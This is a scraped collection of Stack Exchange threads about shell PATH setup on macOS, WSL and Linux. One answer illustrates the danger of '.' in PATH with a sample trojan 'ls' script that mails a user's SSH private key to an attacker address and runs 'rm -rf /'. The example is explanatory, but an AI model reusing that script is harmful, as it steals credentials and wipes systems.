How to remove the need of "./" in every shell script in MacOS? - shell

I'm studying shellscript and I know that there is a way to skip "./" when you need to execute a shellscript.
For example: after I made a script like this:
echo "hello world!"
I use the command "chmod +X" to make it executable. But to execute it on my terminal I need to type:
./helloworld.sh
I know that theres is a way to skip this "./" if you're using bash. You go to .bashrc and write in the end of the script "PATH=PATH:."
But since I'm using MacOS, which use zsh, I tried to type "PATH=PATH:." in the end of my .zshrc but this didn't work.
Then I would like to know if there is a way to remove the need of "./" for every shellscript that I need to run.
Thank you people
P.S.: I have brew and ohmyzsh installed in my machine

What's Wrong with Your Code
The reason your example doesn't work is because PATH is a variable, and you need to expand it by prefixing it with the dollar sign to access its value, e.g. PATH=$PATH:. rather than just PATH=PATH:.. However, there are some other considerations too.
Prepending, Appending, and Exporting PATH
It's generally not recommended to treat your current working directory as part of your PATH for security reasons, but you can do it in any Bourne-like shell by prepending or appending . (which means any current working directory) to your PATH. Depending on where you call it and how you've initialized your shell, you may also need to export the PATH variable to your environment.
Some examples include:
# find the named executable in the current working directory first
export PATH=".:$PATH"
# find the named executable in the current working directory
# only if it isn't found elsewhere in your PATH
export PATH="$PATH:."
# append only the working directory you're currently in when you
# update the PATH variable, rather than *any* current working
# directory, to your PATH
export PATH="$PATH:$PWD"
Note that it's also generally a good idea to quote your variables, since spaces or other characters may cause problems when unquoted. For example, PATH=/tmp/foo bar:$PATH will either not work at all or not work as expected. So, wrap it up for safety (with quotes)!
Use Direnv for Project-Based PATH Changes
You might also consider using a utility like direnv that would enable you to add the current working directory to your PATH when you enter known-safe directories, and remove it from the PATH when leaving the directory. This is commonly used for development projects, including shell scripting ones.
For example, you could create the following ~/dev/foo/.envrc file that would only prepend the current working directory when in ~/dev/foo, and remove it again when you move above the current .envrc in your filesystem:
# ~/dev/foo/.envrc
#
# prepend "$HOME/dev/foo:$HOME/dev/foo/bin" to your
# existing PATH when entering your project directory,
# and remove it from your PATH when you exit from the
# project
PATH_add "$PWD/bin"
PATH_add "$PWD"
Because direnv uses whitelisting and ensures that your items are prepended to PATH, it's often a safer and less error-prone way to manage project-specific modifications to your PATH or other environment variables.
Use "$HOME/bin" to Consolidate Scripts
Another option is to create a directory for shell scripts in your home directory, and add that to your PATH. Then, any script placed there will be accessible from anywhere on your filesystem. For example:
# add this line to .profile, .zprofile, .zshrc, or
# whatever login script your particular terminal calls;
# on macOS, this should usually be .zprofile, but YMMV
export PATH="$HOME/bin:$PATH"
# make a ~/bin directory and place your
# executables there
mkdir -p ~/bin
cp helloworld.sh ~/bin/
Assuming the shell scripts in your bin directory already have their executable bit set (e.g. chmod 755 ~/bin/*sh), you can run any shell script in that directory from anywhere on your filesystem.

You need PATH=$PATH:. -- the $ to expand the (old) value of PATH is important.

Related

Replace $PATH with string/file? Set $PATH to null and append?

Backup, first.
Before attempting to resolve this, people are worried about $PATH changes breaking things. Backup your path with echo $PATH > $HOME/bak/conf/path.bak and remember (don't put any raw files into the bak dir). Confirm your backup with cat $HOME/bak/conf/path.bak.
A minimal $PATH!
My desired path is /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin.
This is a minimalist path that should break nothing on most default Linux installs (Backup, first).
I have a huge $PATH that is completely useless (like 120 lines of $PATH--caused by WSL [more later]). So far, I only know how to add to path and remove single directories from $PATH via seg.
Sounds like it should pop right up on search engines. I have a headache in my eye--:
how do I set $PATH to a raw string or purge it so I can append from null?.
Bonus points for anyone who can tell me how to set $PATH from the contents of a file!?
Best guess:
import sys, sys.path.insert(0, '/your/path')--!NO This did not work!
Temporary workaround:
You can move the path to a neutral file (or use whatever means you know) and replace / with / and then use sed to cut the unwanted part out:
PATH=$(echo "$PATH" | sed -e 's/:\/tons:\/of:\/unwanted:\/garbage$//')
Make sure you put everything you don't want between s/ and $//').
Where is this long $PATH coming from?
Related question: How to remove the Win10's PATH from WSL --$PATH is inherited every time you re-launch or perform some other actions such as possibly changing users or environments.
Why is this question different:
As if there isn't enough typing, S.O. has a nuisance dialog that asks me to write and explain why purging $PATH is different from removing one directory/path from $PATH.
Because a punch in the face isn't a kick in the butt.
If I'm understanding your question, you simply want to know how to set your Bash PATH to a fixed string (or erase it completely) and have it persist across restarts of the shell?
If so, then I'll start off by saying that this isn't recommended as it will break other things. If not now, then later.
But if you really want to set the PATH to a fixed value every time Bash starts ...
Short answer first:
Assuming fairly "default" startup files (where ~/.profile sources ~/.bashrc):
Edit your ~/.profile (or ~/.bash_profile in the rare case it exists) and add:
# Remove entirely
unset PATH
export -n PATH
# Optionally
export PATH=/new/pathItem1:/new/path/Item2
Adding this to the bottom of the file should override any other PATH modifications done previously. However, future application installations can make modifications below that, therefore overriding it.
In a very rare case where you have an interactive Bash session that isn't startup by a login shell, you could also make the same modifications to ~/.bashrc.
(Not necessarily required if the modification is the last thing called during startup, but) make sure that there are no other PATH adjustments in your ~/.bashrc or ~/.bash_profile.
More explanation:
Where is this long $PATH coming from?
Your path in Bash in WSL can potentially come from a few sources:
WSL's init process sets a default PATH for the starting application (shell). This is currently (in WSL 0.70.8):
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/usr/lib/wsl/lib
Since this is done before your ~/.profile runs, there's no need to worry about disabling it.
As you've pointed out, WSL automatically appends the Windows path to the Linux path so that you can launch Windows executables. This can be disabled using the method in the question you linked, but it's not necessary if you simply want to override the entire PATH. Setting the PATH in your ~/.profile comes after WSL sets it for the initial process (your shell).
Bash itself has a built-in, default path that is hardcoded into it for "fallback" in case no other path is passed in. This rarely ever takes effect. Most Linux systems are going to set the PATH through some other mechanism, meaning the fallback never gets activated. A typical Linux system will set the default PATH via /etc/environment, but this isn't used under WSL since the init mechanism mentioned above is needed instead.
If using Systemd or another init system in WSL, then Bash (and other POSIX shells) will process /etc/profile and files in /etc/profile.d when starting. These files may contain PATH modifications. Again, since these come before your ~/.profile, (re)setting the PATH to a fixed value will override any of these settings.
Finally, your ~/.profile or ~/.bash_profile (for login shells) and ~/.bashrc (for interactive shells are read. Typically, PATH modifications in these files look something like:
export PATH="/new/path/item:$PATH"
This prepends to the path, making that new item take priority over the previous items.
However, leaving out the existing :$PATH part will simply set it to a string literal.
It should be obvious, but if you do this without including the "normal" OS paths, you will be unable to call any command that isn't built in to Bash already with specifying its fully qualified path. For instance, ls will fail. Note that you can still:
$ ls
ls: command not found
$ /usr/bin/ls
# works
Also note that ~/.profile is called for login shells. It is possible, however, to tell WSL to launch Bash without reading ~/.profile:
wsl ~ -e bash --noprofile
The resulting shell will still have the default WSL path in this case.

Setting TOMCAT_HOME on Terminal. No such file or directory found

export TOMCAT_HOME=”$(/usr/libexec/apache-tomcat-8.0.32)”
-bash: /usr/libexec/apache-tomcat-8.0.32: No such file or directory
Can you guide me please?
The problem is the way the command is expressed:
export TOMCAT_HOME=”$(/usr/libexec/apache-tomcat-8.0.32)”
which is telling the shell to evaluate /usr/libexec/apache-tomcat-8.0.32 (and set TOMCAT_HOME to the result of that evaluation). That is probably a directory, and does not evaluate as an expression. You should do something like this:
export TOMCAT_HOME=/usr/libexec/apache-tomcat-8.0.32
which merely uses the given value /usr/libexec/apache-tomcat-8.0.32 without trying to make the value do something.
The PATH variable is a different case. You might want to add the bin-directory of Tomcat to the path, e.g., by adding
export TOMCAT_HOME=/usr/libexec/apache-tomcat-8.0.32
export PATH=$TOMCAT_HOME/bin:$PATH
at the end of your .profile file (in your home directory). When you start a (bash) shell in OSX, it initializes the PATH variable using the contents of /etc/paths. Your .profile file can add to that. (Other people may use .bashrc or .bash_profile, but you should read the manual page for bash to understand these alternatives).

How to call a command without giving its full path?

I installed a text editor under /usr/share/my-editor/editor-executable.
When I want to launch the editor in terminal I have to write the complete path:
# /usr/share/my-editor/editor-executable file-to-open
I would create a command for the editor so I can simply digit:
# my-editor file-to-open
How can I do?
The reason you couldn't launch your executable is because the shell look for the command in any of the paths defined in the PATH environment variable (known paths from now).
You can check those known paths with:
echo $PATH
As you can see, /usr/bin is defined there as well as other paths.
Anyway, you can get what you want in several ways.
Note below that when I use the ~ directory, the command will be only available for the current user.
Creating an alias my-editor
This is my favourite when you want to run a command which is not found in the known paths. It would be a good idea for you too. In bash you can place the alias in ~/.bash_aliases.
echo alias my-editor=/usr/share/my-editor/my-editor-executable >> ~/.bash_aliases
Creating a link to your file in some of the known paths
It's the way you have done it and just to clarify, if you had created the link in any of the known paths, it would have worked too.
ln -s /usr/share/my-editor/my-editor-executable /usr/bin/my-editor
Defining a function with name my-editor
I think it's too much due to your needs but it's up to you if want to give it a try. It can be useful for other purposes.
You must define it in a file read by your shell. e.g. ~/.bashrc in bash. Shell files invocation.
cat >> ~/.bashrc << "EOF"
function my-editor() {
/usr/share/my-editor/my-editor-executable "$#"
}
EOF
Adding /usr/share/my-editor/ to the PATH
You can add a new path to the PATH variable. In Ubuntu, the PATH variable is generally set in /etc/environment and if you modify this file, the new path will be accesible for all users.
However, if you want to be the only one who has access to the new path, you can set it in one of the personal shell files. e.g. in bash: ~/.bashrc. Shell files invocation.
echo 'export PATH="$PATH:/usr/share/my-editor/"' >> ~/.bashrc
[bash] Entering a command into the hash table
A singular way to get the same result in bash is adding my-editor into the shell hash table. Again, you must add the command in some file read by bash (~/.bashrc).
echo 'hash -p /usr/share/my-editor/my-editor-executable my-editor' >> ~/.bashrc
Moving the executable to a known path
Finally, if you don't need the file (my-editor-executable) in his current directory anymore, you can simply move it to a known path.
mv /usr/share/my-editor/my-editor-executable /usr/bin/my-editor
I answer by myself:
I created a link to executable file under /usr/bin :
# ln -sF /usr/share/my-editor/my-editor-executable /usr/bin/my-editor
Now it is possible to run the application "my-editor" via terminal everywhere in the file system

Export path in .profile on mac

I can't believe there isn't any tutorials about this after googling.
Can someone point me a direction or explain what these lines and variables mean in .profile on mac? How can someone configure them?
export PATH=/opt/local/bin:/opt/local/sbin:$PATH
# Finished adapting your PATH environment variable for use with MacPorts.
#export PATH="/usr/local/bin:/usr/local/sbin:/usr/local/mysql/bin:$PATH"
export PATH=$PATH:/usr/local/mysql/bin
#export PATH="/usr/local/bin:/usr/local/sbin:/usr/local/mysql/bin:$PATH"
#export PATH=/Applications/MAMP/Library/bin:/Applications/MAMP/bin/php5/bin:/Applications/MAMP/htdocs/cake/cake/console:/opt/local/bin:/opt/local/sbin:$PATH
export PATH=/android-sdks/platform-tools:~/android-sdks/tools:$PATH
export PATH=/Users/android-sdks/platform-tools:/Users/android-sdks/tools:$PATH
Any line starting with # is a comment. PATH= sets the value of the PATH variable, $PATH expands to the current value, and the export at the beginning makes the value available to programs that you run from the terminal.
Let's assume that the initial value of PATH is /usr/bin:/bin.
export PATH=/opt/local/bin:/opt/local/sbin:$PATH
Replace $PATH with the previous value of $PATH. So the above sets PATH to
/opt/local/bin:/opt/local/sbin:/usr/bin:/bin
Moving forward,
export PATH=$PATH:/usr/local/mysql/bin
Again, replace $PATH with the previous value:
/opt/local/bin:/opt/local/sbin:/usr/bin:/bin:/usr/local/mysql/bin
After
export PATH=/android-sdks/platform-tools:~/android-sdks/tools:$PATH
we have
/android-sdks/platform-tools:~/android-sdks/tools:/opt/local/bin:/opt/local/sbin:/usr/bin:/bin:/usr/local/mysql/bin
(The ~ is a special token that will be replaced with the path to your home directory, but you should get the picture.)
And finally, after
export PATH=/Users/android-sdks/platform-tools:/Users/android-sdks/tools:$PATH
we get
/Users/android-sdks/platform-tools:/Users/android-sdks/tools:/android-sdks/platform-tools:~/android-sdks/tools:/opt/local/bin:/opt/local/sbin:/usr/bin:/bin:/usr/local/mysql/bin
PATH is used to find commands that you enter on the command line. So if you type foo, the shell will look for the names below, in the order specified:
/Users/android-sdks/platform-tools/foo
/Users/android-sdks/tools/foo
/android-sdks/platform-tools/foo
~/android-sdks/tools/foo
/opt/local/bin/foo
/opt/local/sbin/foo
/usr/bin/foo
/bin/foo
/usr/local/mysql/bin/foo
To see the current value of PATH, run
echo $PATH
Should you add new directories to the beginning of PATH, or to the end? It doesn't always matter, but sometimes it does. It depends on which locations you want the system to check first.
You should add to the beginning if the goal is to search other directories before looking in the default ones. For example, git is a utility used to manage source code. If I wanted to install a newer version of git in ~/git and use that by default, I'd do:
export PATH=~/git/bin:$PATH
This means that ~/git/bin/git would override /opt/local/bin/git.
On the other hand I might prefer to have the administrator install git system-wide. If I want to use my local copy only until the administrator makes it available for everyone, then this makes more sense:
export PATH=$PATH:~/git/bin
In this case ~/git/bin/git would only be used if /opt/local/bin/git didn't already exist since /opt/local/bin is earlier in the path.
A lot of commands won't exist in more than one place. For example you might write my-backup-script and put it on an Apple Time Capsule at /Volumes/Capsule/scripts. It's not likely that there would be a command called my-backup-script in any other location to conflict. So either of the following commands would let you type my-backup-script and run the right script:
export PATH=/Volumes/Capsule/scripts:$PATH
or
export PATH=$PATH:/Volumes/Capsule/scripts
Is one better? My advice would be to do the latter. Remember that system will need to search the directories in $PATH, in order, for every command that it needs to find. Most commands will be on the local system, so it makes the most sense to put slower network storage at the end of the path.
From the man page, export simply sets an environment variable.
The PATH environment variable tells your Mac where to look for commands that you type on the command line, in the order that it should look. It is a list of paths, delimited by a colon.
The value $PATH is the current value of the PATH environment variable.
Thus, a line like
export PATH=/foo:$PATH
prepends /foo to the PATH
and
export PATH=$PATH:/foo
appends /foo to the PATH
Run man
And then answer the question as export
You can see the current PATH value and observe that there are more than one path present.
(mine was /usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin)
Observe that : represents end of a single path.
You can retrieve this by using $PATH
Now when you want to add one more path to this list then you need to append current path to new path like /newPath:$PATH or $PATH:/newPath.
And at last for saving it you need to use export PATH=$PATH:/newPath.
Note : This answer is for novice developers.

Why do I have to use an absolute path to execute Bash scripts?

I have a Bash script on my desktop called highest.
If I run:
cd ~/Desktop
highest
I get: Command not found
But if I run:
~/Desktop/highest
It executes just fine. But why do I still need to use the absolute path when my command line is in the correct directory?
I am guessing this has something to do with the $PATH variable. Like I need to add something like ./ to it. If so, how do I add that? I am not used to Linux yet and get very confused when this happens.
I agree with #Dennis's statement. Don't add '.' to your PATH. It's a security risk, because it would make it more possible for a cracker to override your commands. For a good explanation, see http://www.linux.org/docs/ldp/howto/Path-12.html .
For example, pretend I was a cracker and I created a trojaned files like /tmp/ls , like so. Pretend that this was on a shared system at a university or something.
$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker#foo.ru >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor#university.edu >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*
What would happen if you were in the /tmp directory and executed the 'ls' command? If PATH included ., then you would execute /tmp/ls , when your real intention was to use the default 'ls' at /bin/ls.
Instead, if you want to execute your own binaries, either call the script explicitly (e.g. ./highest) or create your own bin directory, which is what most users do.
Add your own ~/bin directory, and place your own binaries in there.
mkdir ~/bin
vi ~/bin/highest
Then, modify your PATH to use your local binary. Modify the PATH statement in your .bashrc to look like this.
export PATH=$PATH:~/bin
To verify that highest is your path, do this:
bash$ which highest
/Users/stefanl/bin/highest
Yes, adding ./ is ok, so running cd ~/Desktop; ./highest will work. The problem is as you said: running highest by itself causes Linux to look in your $PATH for anything named highest, and since there's nothing there called that, it fails. Running ./highest while in the right directory gets around the problem altogether since you are specifying the path to the executable.
The best thing you can do is just get used to using ./highest when you want to run a command that is in your directory, unless you really want to add it to your path. Then you should add it to your path in your .profile file in your home directory (create it if it isn't there) so it gets loaded into your path every time you start up bash:
export PATH="/usr/local/bin:/usr/local/sbin:.:$PATH"
Don't change PATH, simply move or symlink the script to some standard location, e.g.
mkdir -p ~/bin
cd ~/bin
ln -s ../Desktop/highest highest
If ~/bin is in your path (and AFAIR this is the case if you use the default shell init scripts from Ubuntu), then you can call the scripts therein from anywhere by their name.
You would need to add the local directory to your path:
PATH=$PATH:.
export PATH
This can be done in your .profile or .bash_profile to always set this up whenever you login.
Also, as a matter of course, you can run the command with the current directory marker:
./highest
as well.
Of course there are security implications as noted below by many MANY users, which I should have mentioned.

Resources